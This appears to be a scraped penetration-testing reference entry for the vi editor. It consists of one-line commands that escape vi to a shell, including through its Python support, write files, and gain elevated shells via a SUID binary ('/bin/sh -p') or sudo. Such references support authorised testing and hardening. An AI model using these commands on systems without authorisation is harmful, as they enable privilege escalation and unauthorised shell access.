|
code |
vi
:set shell=/bin/sh
:shell
|
|
description |
code |
This requires that `vi` is compiled with Python support. |
vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' |
|
|
code |
vi file_to_write
iDATA
^[
w
|
|
|
|
code |
./vi -c ':!/bin/sh -p' |
|
description |
code |
This requires that `vi` is compiled with Python support. |
./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' |
|
|
code |
sudo vi -c ':!/bin/sh' |
|
description |
code |
This requires that `vi` is compiled with Python support. |
sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' |
|
|